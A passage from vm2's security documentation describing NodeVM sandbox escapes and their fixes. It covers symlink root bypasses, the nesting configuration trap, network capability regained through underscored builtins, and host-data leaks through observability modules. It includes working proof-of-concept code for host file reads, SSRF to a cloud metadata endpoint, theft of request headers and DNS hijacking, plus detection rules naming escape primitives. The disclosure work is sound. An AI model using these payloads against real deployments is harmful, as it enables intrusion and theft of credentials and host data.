trace_events and wasi were added during pre-tag red-team:

  • trace_events.createTracing({categories: [...]}) asserts args[0]->IsArray() in V8 C++. The array crosses the bridge as a Proxy, the IsArray() check fails, and the entire host process aborts. Reachable as ~150 bytes from sandbox under builtin: ['*'] β€” not RCE, but a host-process-DoS primitive of the same severity class as Category 22.
  • wasi exposes the WebAssembly System Interface preview1 syscall surface (filesystem preopens, host clock/random, network if preopened). The API is experimental and broad; even a misconfigured preopens: {} exposes the host CWD when sandbox code constructs a WASI module.

Supersedes: the previous GHSA-947f-4v7f-x2v8 mitigation, which used an exact-match denylist and missed process and subpath builtins such as inspector/promises. The family-prefix check subsumes the prior fix and forecloses every same-shape variant.

Detection Rules

  • builtin: ['*'] or ['*', '-X'] in NodeVM config β€” on an unpatched version this expands to include module/worker_threads/cluster/child_process/vm/repl/inspector/trace_events/wasi/test; the shipped filter removes them. Note: '*' still allows fs, dgram, net, http, etc. β€” it is NOT a sandbox-safe default for untrusted code.
  • require('module')._load(...) β€” the canonical bypass primitive.
  • new Worker(src, {eval:true}) β€” out-of-band code execution.
  • cluster.fork() β€” host process spawn.
  • vm.runInThisContext(...) β€” host-realm eval.
  • repl.start({eval, ...}) β€” host-realm REPL evaluator.
  • inspector.open() or new (require('inspector/promises').Session)() β€” debugger attachment / Runtime.evaluate host-realm code execution.
  • require('process').getBuiltinModule(name) β€” reloads any core module bypassing the allow/deny list.
  • require('process').binding('spawn_sync') / .dlopen(module, path) β€” raw C++ binding surface and native add-on loader.
  • trace_events.createTracing({categories: [...]}) β€” host process abort via C++ assertion failure.
  • new (require('wasi').WASI)({...}) β€” preview1 syscall surface.
  • builtin: ['*', '-node:X'] β€” a node:-prefixed deny token. On an unpatched version it is a silent no-op that denies nothing; here it is equivalent to -X. A config written this way against an unpatched version does not enforce what it appears to.
  • require('test') / require('node:test') / require('node:node:test') / require('node:test/reporters') β€” the test runner is a host-process launcher, not inert tooling. Denied outright since GHSA-qhwx-74w5-xhxq.
  • test.run({ execArgv: [...] }), or any execArgv / --eval / --require / --import string reaching a builtin's process-spawning option bag β€” caller-controlled Node command-line flags on a spawned host process are equivalent to host RCE.
  • require('<family>/<sub>') where the config denies -<family> β€” fs/promises, path/posix, stream/web, timers/promises, dns/promises. Reachable despite the family deny token on an unpatched version; here denied with the family. A config relying on -fs for filesystem isolation on an unpatched version does not enforce it.

Considered Attack Surfaces

  • async_hooks, diagnostics_channel, perf_hooks, v8 are now denied as process-wide observability primitives β€” see Category 35. They expose host-process state rather than host-code-loading primitives, but are functionally identical from the embedder's perspective: any allowlist that includes them leaks per-request user data, auth tokens, and heap contents into the sandbox.
  • child_process is on the hard denylist (GHSA-pq68-rvw4-xp4r): a full-host-RCE primitive (execSync / spawn / fork run arbitrary host commands) of the same "spawns a host process" class as cluster / worker_threads / node:test, so it is denied both under '*' and on explicit request. Before GHSA-pq68 it was a documented carve-out grantable for trusted scripts, reversed because the carve-out was inconsistent with the rest of the denylist and untrusted code reached it via ['*'], ['child_process'], or ['*', '-fs']. Trusted-script embedders who genuinely need it re-expose it through require.mock (see Mitigation point 8) β€” the real module or a controlled facade β€” which makes the choice explicit in the embedder's own host code.
  • fs is allowed under '*' because file-system access can be a legitimate sandbox capability for many use cases (e.g., user-script template engines reading templates). Users who want filesystem isolation use VMFileSystem or exclude fs explicitly. Since GHSA-6rh5-qq4q-97xh a -fs token also covers fs/promises; on earlier versions it did not, and fs/promises alone is a complete host filesystem read/write primitive. '*' is not sandbox-safe for untrusted code.
  • dgram, net, http, https, dns are network-IO builtins, allowed under '*'. Any of them give untrusted code outbound network access from the host. Embedders should explicitly exclude or allowlist.

Advisories: GHSA-cp6g-6699-wx9c

Tests: test/ghsa/GHSA-cp6g-6699-wx9c/, test/nodevm.js ("root path checking"), test/nodevm.js ("relative require not allowed to enter node modules")

Description

NodeVM's require.root option restricts sandbox require() to a configured filesystem root. The intended invariant is "no code runs from outside the allowed root". The check was implemented as a lexical prefix match β€” isPathAllowed(filename) in lib/resolver-compat.js verified filename.startsWith(rootPath) where filename came from path.resolve() (no symlink dereference). However, the actual loader is Node's native require(), which does follow symlinks. A symlink inside the allowed root pointing outside it passes the lexical prefix check, yet the loader follows it and runs code from the symlink's target. CWE-59 (Improper Link Resolution Before File Access).

This is especially severe because:

  • pnpm uses symlinks for every node_modules entry (canonical <root>/node_modules/ β†’ / layout).
  • npm workspaces and npm link create equivalent symlinks.
  • With context: 'host', the host loader runs the symlinked code with full host privileges β€” direct RCE.

Attack Flow

  1. Symlink exists inside the allowed root pointing outside it. This may be created by an attacker or pre-existing as a side-effect of pnpm/npm-workspaces/npm link.
  2. Sandbox calls require('./link.js') (or require('safe') for a directory-level symlink).
  3. Resolver runs path.resolve(...) producing a path that starts with rootPath and passes isPathAllowed.
  4. Loader runs hostRequire(filename) which follows the symlink to outside-root code.
  5. In context: 'host' the loaded module executes with host privileges β†’ RCE.

Canonical Example

javascript
// (advisory GHSA-cp6g-6699-wx9c) β€” file-level symlink
const root = '/tmp/root';
fs.symlinkSync('/tmp/outside.js', '/tmp/root/link.js');
const vm = new NodeVM({ require: { external: true, root, context: 'host' } });
vm.run("require('./link.js')");
// /tmp/outside.js runs in HOST context.

// directory-level symlink variant (e.g. pnpm / npm-workspaces / `npm link`)
fs.symlinkSync(__dirname + '/vm2', '/tmp/root/node_modules/safe');
vm.run("require('safe')");
// vm2 itself runs in HOST context, then attacker uses it to escalate.

Why It Works

The bridge proxy and the bridge's overall threat model are not involved here β€” this is a filesystem access-control check that runs purely on the host side, and the gap is between two host-side syscalls: path.resolve() (lexical) and the kernel's stat/open chain that follows symlinks. The check and the use operate on different canonical representations of the same path. Classic check/use TOCTOU.

Mitigation

fs.realpathSync is used to canonicalize paths before the prefix check, so the boundary check operates on the same path the loader will follow. Enforces Defense Invariant #1 at the filesystem-resolver layer: the resolver and the loader must operate on the same canonical path namespace.

  1. DefaultFileSystem.realpath() and VMFileSystem.realpath() (in lib/filesystem.js) β€” new methods on the filesystem abstraction. The default delegates to host fs.realpathSync; VMFileSystem delegates to the user-supplied fs.realpathSync.
  2. isPathAllowed realpaths the candidate (in lib/resolver-compat.js) before the prefix-vs-rootPaths check. If realpath throws (file doesn't exist, broken link) the check denies by default.
  3. rootPaths are canonicalized at construction time so a symlinked root configuration (root: '/tmp/myroot' where /tmp/myroot is itself a symlink) compares the same canonical namespace as the candidate filenames.
  4. Eager FileSystem-contract probe at NodeVM construction (in lib/resolver-compat.js, makeResolverFromLegacyOptions). If require.root is set, the resolver verifies that the FileSystem adapter implements realpath() and that calling it does not throw a TypeError (the signal that VMFileSystem's underlying fs.realpathSync is missing). On contract violation it throws VMError immediately at new NodeVM(...) time citing GHSA-cp6g-6699-wx9c, instead of silently denying every later require(). Other realpath errors at construction (ENOENT, EACCES) are tolerated β€” the root may legitimately not exist yet, and runtime isPathAllowed will still realpath candidates and deny-by-default.

The race window between the canonicalization syscall and the subsequent loader syscalls is narrow but not eliminated; full mitigation would require atomic openat/O_NOFOLLOW APIs Node does not expose to user code. CWE-367 residual risk is documented but considered acceptable.

Detection Rules

  • Symlink inside require.root pointing outside (file-level or directory-level).
  • fs.realpathSync on the candidate β‰  path.resolve on the candidate β€” the smoking gun for this class.
  • pnpm / npm-workspaces / npm link layouts with NodeVM require.root configured.

Considered Attack Surfaces

  • Custom fs adapters without realpath/realpathSync: existing VMFileSystem({ fs: customFs }) users whose customFs lacks realpathSync, and fully custom FileSystem adapters that omit realpath(), are surfaced at construction time by the eager probe (Mitigation #4). The probe converts what would otherwise be a silent deny-by-default at every later require() into a single, clearly-labelled VMError at new NodeVM(...) β€” strict security with an actionable error message.
  • Race between resolver-side realpath and loader-side require: theoretically exploitable on a fast filesystem with attacker-controlled symlinks; not closed structurally because Node does not expose openat/O_NOFOLLOW to user code. Documented residual risk.
  • mocks / overrides are unaffected β€” they don't go through the path resolver.

Attack Category 25: NodeVM `nesting` Configuration Trap (NESTING_OVERRIDE-only resolver)

Advisories: GHSA-8hg8-63c5-gwmx, GHSA-m4wx-m65x-ghrr, GHSA-8hr7-r645-pc6w

Tests: test/ghsa/GHSA-8hg8-63c5-gwmx/, test/ghsa/GHSA-m4wx-m65x-ghrr/, test/ghsa/GHSA-8hr7-r645-pc6w/ (repro.js + adversarial.js), test/nodevm.js ("NodeVM")

Supersedes: GHSA-8hg8-63c5-gwmx's check on the raw options.require === false input, which only fired for one syntactic shape and missed every other configuration that collapses to the same insecure resolver β€” see GHSA-m4wx-m65x-ghrr.

Description

NodeVM's nesting option (when truthy) injects a NESTING_OVERRIDE builtin that exposes the vm2 package to sandbox code regardless of any other require configuration. The override is unconditional β€” it survives require: false, narrow builtin allowlists, and every other restriction the user might set. With vm2 reachable, the sandbox constructs an inner NodeVM whose require config is chosen by the sandbox code, not constrained by the outer config (this is by design of nesting). The inner NodeVM can be configured with child_process, fs, or any other host module β†’ full host RCE.

The trap is any NodeVM configuration where a truthy nesting is combined with a require that isn't a real require-config object. Four input-shape classes all collapse to the same NESTING_OVERRIDE-only resolver:

  • Falsy / omitted require β€” { nesting: true }, { nesting: true, require: false / undefined / null / 0 / '' }. makeResolverFromLegacyOptions(falsy, NESTING_OVERRIDE, …) hits its if (!options) branch.
  • Truthy non-object require β€” { nesting: true, require: true / 1 / 'yes' / Symbol() / function(){} }. makeResolverFromLegacyOptions destructures every primitive/function value to all-undefined, then calls makeBuiltinsFromLegacyOptions(undefined, …, NESTING_OVERRIDE) β€” the same call shape the if (!options) branch produces.
  • Truthy non-true nesting β€” { nesting: 1 / 'yes' / {} / [] / function(){}, require: false }. The override gate inside the constructor is nesting && NESTING_OVERRIDE, which fires for ANY truthy value.
  • typeof-object non-config require (GHSA-8hr7-r645-pc6w) β€” { nesting: true, require: [] / new Array() / new Date() / /re/ / new Map() / new Set() / new Uint8Array() / new String() }. An array or exotic/boxed object is typeof === 'object' and non-null, so it passed the GHSA-m4wx guard (typeof requireOpts === 'object' && requireOpts !== null), yet carries no require-config fields and destructures to all-undefined β€” the same insecure NESTING_OVERRIDE-only resolver. This is a fourth-shape bypass of the m4wx patch, distinct because m4wx's guard did reject the primitives/functions of the second class but treated every typeof-object as a "real config".

All shapes produce a resolver whose only builtin is vm2 β€” a pure escape primitive with no legitimate use. The original GHSA-8hg8 patch tested only the literal { nesting: true, require: false } shape with strict equality on the raw input; GHSA-m4wx generalized the guard to "truthy nesting needs a typeof-object require" but that predicate is itself too loose (arrays/exotics are typeof-object).

CWE-284 (Improper Access Control). CWE-697 (Incorrect Comparison) for the original GHSA-8hg8 check, which compared too narrowly against the set of values that reach the insecure resolver.

Attack Flow

  1. Host configures nesting: true without providing an explicit require config object β€” e.g. new NodeVM({ nesting: true }). The developer assumes the absence of require means "no host modules" (matching the rest of the API's default-deny stance).
  2. Sandbox code requires vm2: succeeds because NESTING_OVERRIDE injected vm2 into the builtin map even though the surrounding require config is empty/denied.
  3. Sandbox constructs inner NodeVM with attacker-chosen require config: new NVM({ require: { builtin: ['fs'] } }) (or external: true with host context β€” any capability the outer config denied).
  4. Inner sandbox loads host fs and reads or writes any file the host process can reach. (Before GHSA-pq68-rvw4-xp4r the inner config could name child_process directly for host command execution; that module is now hard-denied even for the inner sandbox, so the payoff is the host filesystem or externals rather than a shell.)

Canonical Example

javascript
// GHSA-m4wx-m65x-ghrr PoC β€” patches the literal-PoC fix of GHSA-8hg8-63c5-gwmx.
const vm = new NodeVM({ nesting: true }); // `require` omitted; defaults to false post-destructure
vm.run(`
  const { NodeVM: NVM } = require('vm2');
  const inner = new NVM({ require: { builtin: ['fs'] } });
  module.exports = inner.run(
    'module.exports = require("fs").readFileSync("/etc/hostname", "utf8")'
  );
`);
// host file contents β€” the outer NodeVM granted no builtins at all
  • Every array/boxed/exotic require shape rejected at construction, and the require: {} escape hatch still granting host vm2 only: see test/ghsa/GHSA-8hr7-r645-pc6w/adversarial.js.

Why It Works

The bug lives in lib/resolver-compat.js makeResolverFromLegacyOptions:

javascript
function makeResolverFromLegacyOptions(options, override, compiler) {
    if (!options) {
        if (!override) return DENY_RESOLVER;     // require:false alone β†’ deny all
        // require:falsy + nesting:true β†’ permissive resolver with vm2 loadable:
        const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
        return new Resolver(DEFAULT_FS, [], builtins);
    }
    ...
}

The GHSA-8hg8 patch tried to reject this configuration at the NodeVM constructor, but used options.require === false β€” strict equality against the raw input. The destructuring default (require: requireOpts = false) runs after the check, so omitting require, passing undefined, or any other path that doesn't write the literal false into options.require slipped past the guard and still produced requireOpts = false. The GHSA-m4wx bypass is purely the gap between "check the raw input shape" and "check the value actually used to build the resolver."

The "mental-model mismatch" framing applies at two levels: the configuration trap (developers think nesting: true is orthogonal to require) and the check trap (the original patch checked the user-facing option name instead of the destructured value).

Mitigation

NodeVM constructor (lib/nodevm.js) destructures options first, then throws VMError when any truthy nesting is paired with a requireOpts that isn't a real require-config object (or a Resolver instance). The check lives on the value that actually drives makeResolverFromLegacyOptions, so every shape that collapses to the NESTING_OVERRIDE-only resolver collapses to the same rejection:

The predicate is a shared isPlainConfigObject (lib/resolver-compat.js), and it is enforced at two coordinated layers (GHSA-8hr7-r645-pc6w):

javascript
// lib/resolver-compat.js β€” the shared "genuine require config" test.
function isPlainConfigObject(value) {
    if (value === null || typeof value !== 'object') return false;
    if (arrayIsArray(value)) return false;                       // arrays (also Proxy-around-array, via Array.isArray)
    const proto = objectGetPrototypeOf(value);
    return proto === objectPrototype || proto === null;          // plain {} or Object.create(null) only
}

// Layer 1 β€” lib/nodevm.js constructor guard (fails loudly with a good error):
const hasRealRequireConfig = requireOpts instanceof Resolver || isPlainConfigObject(requireOpts);
if (nesting && !hasRealRequireConfig) { throw new VMError('NodeVM `nesting` requires an explicit `require` config object. …'); }

// Layer 2 β€” lib/resolver-compat.js makeResolverFromLegacyOptions (fail-closed, any caller):
if (override && options && !isPlainConfigObject(options)) override = undefined;   // never inject NESTING_OVERRIDE for a non-config shape

The guard mirrors the actual reachability of the insecure resolver on two axes:

  • nesting checked as truthy, matching the nesting && NESTING_OVERRIDE gate that decides whether vm2 is exposed. Covers nesting: true / 1 / 'yes' / {} / [] / function(){} uniformly.
  • requireOpts must be a Resolver or a plain config object β€” prototype Object.prototype or null, and not an array. This rejects primitives, functions (typeof !== 'object'), arrays (Array.isArray), and exotic/boxed instances (Date/RegExp/Map/Uint8Array/new String() β€” their prototype is not Object.prototype), all of which destructure to all-undefined. The GHSA-m4wx typeof === 'object' test admitted the last two groups; isPlainConfigObject closes them.

Layer 2 is defense in depth: even if an alternate caller reaches makeResolverFromLegacyOptions with a non-config options and an override (bypassing the constructor guard), the override is stripped, so NESTING_OVERRIDE (host vm2) is never injected for a non-plain shape. It is gated on override, so { nesting: false, require: [] } (no override) is unaffected.

This establishes Defense Invariant: NESTING_OVERRIDE (host vm2 exposure) is injected only for a genuine require config β€” a Resolver or a plain config object β€” and every other shape fails loudly at construction. The escape hatch (any truthy nesting + an explicit plain require config object, even {} or Object.create(null)) continues to work β€” the developer's "I accept the trade-off" signal is visible in the call site. A deliberately-constructed embedder Proxy that spoofs getPrototypeOf to Object.prototype while wrapping a Date/Map passes the predicate but grants nothing beyond the {}-profile (host vm2 only, no fs/child_process) β€” it is requireOpts (embedder-supplied), never attacker-controlled, so this is an embedder footgun equivalent to writing require: {}, not an escalation.

Detection Rules

  • new NodeVM({ nesting: , ... }) with require set to anything other than a plain config object (or Resolver) β€” flagged at construction with VMError mentioning GHSA-m4wx-m65x-ghrr. Covers require: false / undefined / null / 0 / '' / true / 1 / 'yes' / Symbol() / function(){} (primitives/functions) and require: [] / new Array() / new Date() / /re/ / new Map() / new Set() / new Uint8Array() / new String() (arrays and exotic/boxed objects β€” the GHSA-8hr7-r645-pc6w shape class), and nesting values true / 1 / 'yes' / {} / [] / function(){}.
  • new NodeVM({ nesting: true }) with no require field at all β€” closed by GHSA-m4wx-m65x-ghrr (was the loophole the original GHSA-8hg8 fix left open).
  • Sandbox code containing require('vm2') β€” only reachable when nesting is truthy and an explicit require config object was supplied; almost always indicates an escape attempt unless the embedder explicitly built a VM-spawning host integration.

Considered Attack Surfaces

  • { nesting: true, require: { builtin: ['something'] } } β€” does NOT throw. The developer has explicitly opted into the documented escape hatch. README and JSDoc loudly state that nesting: true is unsafe for untrusted code; this is a documentation-level mitigation. Constraint propagation from outer to inner NodeVM is out of scope.
  • { nesting: true, require: {} } β€” also does NOT throw. An empty object is a truthy explicit signal; makeResolverFromLegacyOptions falls into the "options-provided" branch and builds a resolver where the only builtin is still vm2 (via override), but the developer's intent is visible at the call site.
  • Sandbox-side require('vm2') when nesting: false β€” already throws EDENIED because the override is not installed. Unaffected.
  • mocks / overrides β€” bypass the resolver entirely; unaffected by this fix and unaffected by nesting: true (mocks don't carry the vm2 package).

Attack Category 34: NodeVM Wildcard Exposes Undocumented Underscored Builtins β€” Network Capability Bypass

Advisories: GHSA-r9pm-gxmw-wv6p

Tests: test/ghsa/GHSA-r9pm-gxmw-wv6p/

Description

NodeVM's '*' wildcard expansion (in lib/builtin.js) sources the list of allowed builtins from require('module').builtinModules filtered by s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s). The filter removes Node's internal/* modules and the host-passthrough denylist from Category 21, but it does not remove the parallel family of underscored builtins:

text
_http_agent     _http_common     _http_outgoing    _tls_common      _stream_readable
_http_client    _http_incoming   _http_server      _tls_wrap        _stream_writable
                                                                    _stream_duplex
                                                                    _stream_transform
                                                                    _stream_wrap
                                                                    _stream_passthrough

These are Node's private implementation modules backing http, https, tls, and the streams subsystem. They are listed in builtinModules (so the wildcard expands to them) but they are not documented public API and they expose the network primitives directly:

  • require('_http_client').ClientRequest(opts) β€” outbound HTTP request, bypasses http/https blocking.
  • require('_http_server').Server(handler).listen(0) β€” listening HTTP socket, bypasses net blocking.
  • require('_tls_wrap').TLSSocket / _tls_common β€” TLS primitives, bypass tls blocking.

Attack Flow

  1. Embedder writes the documented "allow everything except network" pattern:
    javascript
    new NodeVM({require: {builtin: ['*', '-http', '-https', '-net', '-dgram', '-tls', '-dns', '-dns/promises', '-http2']}})
  2. The '*' wildcard expands to BUILTIN_MODULES, which (pre-fix) includes every _http_* and _tls_* sibling because none of them match internal/ or DANGEROUS_BUILTINS.
  3. Sandbox code calls require('_http_client'). The allowlist contains it, addDefaultBuiltin wraps the host module in vm.readonly(), and the proxy is handed to the sandbox.
  4. Sandbox calls new (require('_http_client').ClientRequest)({host: '127.0.0.1', port: 80, ...}) β€” outbound HTTP request from the host. Equivalent attack via _http_server opens a listening socket.

Canonical Example

javascript
// (advisory GHSA-r9pm-gxmw-wv6p)
const vm = new NodeVM({
  require: {
    builtin: ['*', '-http', '-https', '-net', '-dgram', '-tls', '-dns', '-dns/promises', '-http2'],
    external: false
  }
});
vm.run(`
  const {ClientRequest} = require('_http_client');
  const req = new ClientRequest({host: '169.254.169.254', port: 80, path: '/latest/meta-data/'});
  req.on('response', r => r.on('data', d => module.exports = d.toString()));
  req.end();
`, 'poc.js');

The user's mental model β€” "I excluded http and net, the sandbox cannot make HTTP requests" β€” is silently violated.

Why It Works

require('module').builtinModules is Node's flat list of every builtin name, including private implementation siblings. The '-name' exclusion mechanism in vm2 is purely string-equality based β€” '-http' does not cascade to _http_client, _http_server, etc. The mismatch between the wildcard source (full builtin list) and the embedder's mental model (documented public modules) is the bug. An exclusion-based config can never name all the siblings because Node may introduce new underscored builtins between releases.

This is not RCE β€” the underscored siblings load like any other vetted builtin and the bridge proxy applies normally. The impact is capability bypass: the sandbox regains the very capability the embedder explicitly attempted to remove. CVSS 8.6 reflects the SSRF-class blast radius (cloud metadata endpoints, internal admin panels, localhost-only services).

Mitigation

Filter modules whose name starts with _ from the BUILTIN_MODULES source in lib/builtin.js:

javascript
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
  .filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s));

After the fix, the '*' wildcard expands only to documented public Node builtins. The '-name' exclusion mechanism is again coherent β€” excluding http/net/tls removes every reachable network builtin under the wildcard. Both bare-name (require('_http_client')) and node:-prefixed (require('node:_http_client')) forms are blocked because the builtins map is the single source of truth (loadBuiltinModule returns undefined for absent keys, so the sandbox-side requireImpl throws ENOTFOUND).

Escape hatches preserved. The fix is intentionally narrow:

  • Explicit opt-in still works at the lower-level API. A power user who genuinely needs _http_client registers it with makeBuiltins(['_http_client']) β€” addDefaultBuiltin does not consult the s.startsWith('_') filter. The legacy require.builtin option is not such a route: both its array branch and its object-map branch iterate BUILTIN_MODULES and admit only names present there, so builtin: ['_http_client'] and builtin: {_http_client: true} name a module that is not in the list and resolve to Cannot find module '_http_client'.
  • mock / override registrations under underscored names continue to function β€” they bypass addDefaultBuiltin entirely.

Defense Invariant Enforced

The '*' wildcard expands only to documented public Node builtins. Undocumented underscored siblings of network and stream modules MUST NOT be reachable from sandbox code under the wildcard expansion. Explicit opt-in remains the user's choice.

This complements Category 21's DANGEROUS_BUILTINS invariant (and the Defense Invariant #13 it restores). Category 21 is "host-passthrough primitives are unreachable under any config"; Category 34 is "wildcard expansion follows the user's mental model of public APIs only".

Detection Rules

  • require('_http_client') / require('_http_server') / require('_tls_wrap') from sandbox code β€” canonical bypass primitives.
  • require('node:_http_client') (etc.) β€” node: prefix path, equivalent reachability.
  • Embedder config builtin: ['*', '-http', ...] β€” on an unpatched version this leaves every _http_*/_tls_* sibling reachable; here they are filtered out of the expansion.

Considered Attack Surfaces

  • require('module').builtinModules published as Module.builtinModules inside the sandbox (lib/setup-node-sandbox.js:140) β€” this is a static metadata list, not a loader. Sandbox code seeing _http_client in the list does not gain the ability to load it; the resolver gates by this.builtins.has(x).
  • Custom resolvers building their own builtins map via makeBuiltinsFromLegacyOptions β€” same source list (BUILTIN_MODULES), same filter, same protection.
  • hostRequire registered by mock / override β€” out of scope. The user is explicitly handing the sandbox a module; trust is the user's responsibility.
  • Underscored siblings introduced by future Node versions β€” the s.startsWith('_') filter is name-based and forward-compatible. Any new _foo_bar builtin Node adds is automatically excluded from the wildcard without requiring a vm2 release.

Supersedes

None. This fix complements Category 21 (DANGEROUS_BUILTINS) β€” together they enforce: "no host-passthrough primitive AND no undocumented underscored sibling is reachable under builtin: ['*']."


Attack Category 35: NodeVM Process-Wide Observability Builtins (Host-Data Info Leak)

Advisories: GHSA-m5w8-4gq2-6f8x, GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4

Tests: test/ghsa/GHSA-m5w8-4gq2-6f8x/, test/ghsa/GHSA-9g8x-92q2-p28f/, test/ghsa/GHSA-rp36-8xq3-r6c4/

Description

NodeVM's require.builtin allowlist defends sandbox code from reaching dangerous Node modules. Category 21 denied the host-code-loading primitives (module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi). A second class of dangerous builtins exists with a different threat model: process-wide observability modules whose primary capability is reading state of the entire host Node process, not loading or executing code.

When such a builtin is reachable from the sandbox (via the '*' wildcard or an explicit allowlist), the sandbox can subscribe to or read host process state directly β€” no RCE chain needed. The data the embedder routes through these APIs in the same process (HTTP requests, async-context user IDs, performance marks, V8 heap) is by definition host data; reaching the host module is the escape.

CWE-668 (Exposure of Resource to Wrong Sphere). Info-leak class, not RCE class.

Extended by GHSA-m5w8-4gq2-6f8x (os, dns) β€” the same class contains two more builtins whose state belongs to the host process and which additionally expose process-wide write APIs. These are strictly worse than the read-only four above: os.setPriority() renices the host process, and dns.setServers() / dns.setDefaultResultOrder() mutate the host's process-wide DNS resolution from one synchronous line of sandbox code. CWE-200 + CWE-732 + CWE-285.

Attack Flow

Each builtin gives a one-liner exfiltration primitive. Once the sandbox holds a readonly proxy over the host module, the proxy's apply trap forwards every method call back to the host realm:

  • diagnostics_channel β€” dc.channel('http.server.request.start').subscribe(cb). The sandbox callback receives raw host IncomingMessage objects for every HTTP request the embedder serves, with full Authorization, Cookie, x-session-token headers intact.
  • async_hooks β€” async_hooks.executionAsyncResource() returns the current host AsyncResource. Embedders that use AsyncLocalStorage for per-request user/auth context (extremely common pattern: express, fastify, next.js) pin that state on the resource, and the sandbox reads it directly.
  • perf_hooks β€” perf_hooks.performance.getEntriesByType('mark') reads every host-side performance.mark(name). Production code routinely embeds request IDs, user IDs, route paths, or partial query strings into mark names for observability dashboards.
  • v8 β€” v8.getHeapSnapshot() returns a Readable stream of the entire host V8 heap (every string, every Buffer, every closure capture). v8.writeHeapSnapshot(path) writes the same to an arbitrary host filesystem path. v8.queryObjects(Ctor) (Node 20+) returns every host-realm instance of a constructor.
  • os (GHSA-m5w8-4gq2-6f8x) β€” reads: os.userInfo() returns the host process owner (uid/gid/username/homedir/shell); os.networkInterfaces() returns the host's full network topology (container/VM veth pairs, IPs, MACs); os.hostname() / os.loadavg() / os.uptime() / os.freemem() are host-wide telemetry. Write: os.setPriority([pid,] prio) invokes setpriority(2) on the host process (pid 0 = host), persisting after the sandbox call returns.
  • dns (GHSA-m5w8-4gq2-6f8x) β€” the strongest primitive in the class: dns.setServers(['attacker:53']) replaces the host's process-wide DNS resolver list, so every subsequent lookup the host makes (its own outbound HTTP, telemetry, npm registry, fetch, URL-based fs paths) flows through the attacker's resolver β€” a one-line DNS hijack with no rate limit, audit trail, or embedder notification. dns.setDefaultResultOrder() is a second process-wide write knob; dns.getServers() / dns.lookup() / dns.resolve() read and act from the host network identity. The dns/promises subpath shares the surface and is covered by the same denial via the family-prefix matcher.

Canonical Example

javascript
// (advisory GHSA-9g8x-92q2-p28f)
const vm = new NodeVM({ require: { builtin: ['*'], external: false } });
vm.run(`
  const dc = require('diagnostics_channel');
  const stolen = [];
  dc.channel('http.server.request.start').subscribe((req) => {
    stolen.push({
      url: req.url,
      authorization: req.headers.authorization,
      session: req.headers['x-session-token'],
    });
  });
  // ... wait for host HTTP traffic. Headers are read from inside the sandbox.
`, 'poc.js');

Equivalent one-liners for the other three:

javascript
require('async_hooks').executionAsyncResource(); // -> host AsyncResource
require('perf_hooks').performance.getEntriesByType('mark'); // -> host marks
require('v8').writeHeapSnapshot('/tmp/host-heap.json'); // -> entire host heap on disk

The os / dns extension (GHSA-m5w8-4gq2-6f8x) β€” note the two host-process writes:

javascript
// (advisory GHSA-m5w8-4gq2-6f8x)
const vm = new NodeVM({ require: { builtin: ['*'], external: false } });
vm.run(`
  const os = require('os');
  os.userInfo();              // -> host uid/gid/username/homedir/shell
  os.networkInterfaces();     // -> host network topology (IPs, MACs)
  os.setPriority(10);         // WRITE: renices the host process

  require('dns').setServers(['127.0.0.1:5353']); // WRITE: hijacks every
  // subsequent host DNS lookup -- outbound HTTP, telemetry, registry fetch.
`, 'poc.js');
// Both writes are observed from the host realm after vm.run() returns.

Why It Works

The vm2 boundary is built around the assumption that "the sandbox observes its own realm, not the host's". Most Node builtins satisfy this implicitly: path.join(...), crypto.randomBytes(...), url.parse(...) all operate on inputs the sandbox passes in and return values the sandbox owns. The bridge's ReadOnlyHandler makes those builtins safe via uniform proxy semantics.

Process-wide observability builtins break the assumption because the data they surface is host data by spec β€” executionAsyncResource() returns "the resource currently executing" measured against the host's call stack, not the sandbox's. Wrapping the module in a proxy does not localize the data source. The bridge cannot usefully sanitize the values because they're real host objects (IncomingMessage, AsyncResource), and stripping them to primitives would defeat the embedder's reason for ever exposing the module in the first place.

The builtins in scope all share this property: they observe a process resource (HTTP request hook, async context, perf timeline, V8 heap) or β€” for os / dns β€” read host-kernel/host-process state and, worse, write it. os.setPriority() and dns.setServers() are not observations at all; they mutate global host-process state, so even a perfect read-side proxy is irrelevant. Mitigation must therefore be "deny by default", not "proxy more carefully".

Mitigation

Extend DANGEROUS_BUILTINS in lib/builtin.js with the observability names β€” the original four (diagnostics_channel, async_hooks, perf_hooks, v8) plus os and dns (GHSA-m5w8-4gq2-6f8x). Reuses the same enforcement established by Category 21 (now four-layer after the isDangerousBuiltin family-prefix promotion):

  1. Filtered out of BUILTIN_MODULES β€” closes the '*' wildcard expansion path. builtin: ['*'] and builtin: ['*', '-fs'] no longer auto-allow these names.
  2. Rejected in addDefaultBuiltin via isDangerousBuiltin(key) β€” closes the explicit-allowlist path (builtin: ['perf_hooks']), the object-map form (builtin: { v8: true }), and the lower-level makeBuiltins(['async_hooks']) API used by custom resolvers.
  3. Family-prefix check β€” any <family>/... whose family is in the denylist is also blocked (e.g. hypothetical perf_hooks/foo).
  4. node: prefix stripped before lookup β€” require('node:diagnostics_channel') resolves identically to the bare name and is blocked by the same denial.

The SPECIAL_MODULES, mocks, and overrides escape hatches are preserved: an embedder who genuinely needs sandbox-local timing or async context can register a controlled wrapper under the same name (e.g., a perf_hooks shim that only exposes a sandbox-local clock). The denylist only rejects the default host-passthrough loader.

v8 was added during this fix beyond the originally-named three. The class is "process-wide observability modules"; v8.writeHeapSnapshot(path) is strictly worse than perf_hooks against the same invariant (writes a full heap dump to an arbitrary host filesystem path), so excluding it would leave a wide bypass of the same class.

os and dns (GHSA-m5w8-4gq2-6f8x) were the two remaining members of the class. They satisfy the same description (host-process state the vm.readonly() proxy cannot localise) and additionally expose write primitives β€” dns.setServers() is a one-line process-wide DNS hijack, strictly worse than every read-only leak the original fix closed. Adding the two family names automatically covers node:os, node:dns, and the dns/promises subpath via isDangerousBuiltin's node:-strip and family-prefix matching, with no per-API enumeration needed for future Node releases. Embedders who genuinely need a sandbox-local subset (os.platform(), os.EOL, os.constants) register a controlled wrapper via mock / override, exactly as for the original four.

The fix restores Defense Invariant #13 at a different layer β€” the NodeVM builtin allowlist is a closed system, regardless of whether the threat is code execution or data exposure. The bridge invariant still holds for these modules; the deny-list ensures the bridge is never asked to wrap them in the first place.

Detection Rules

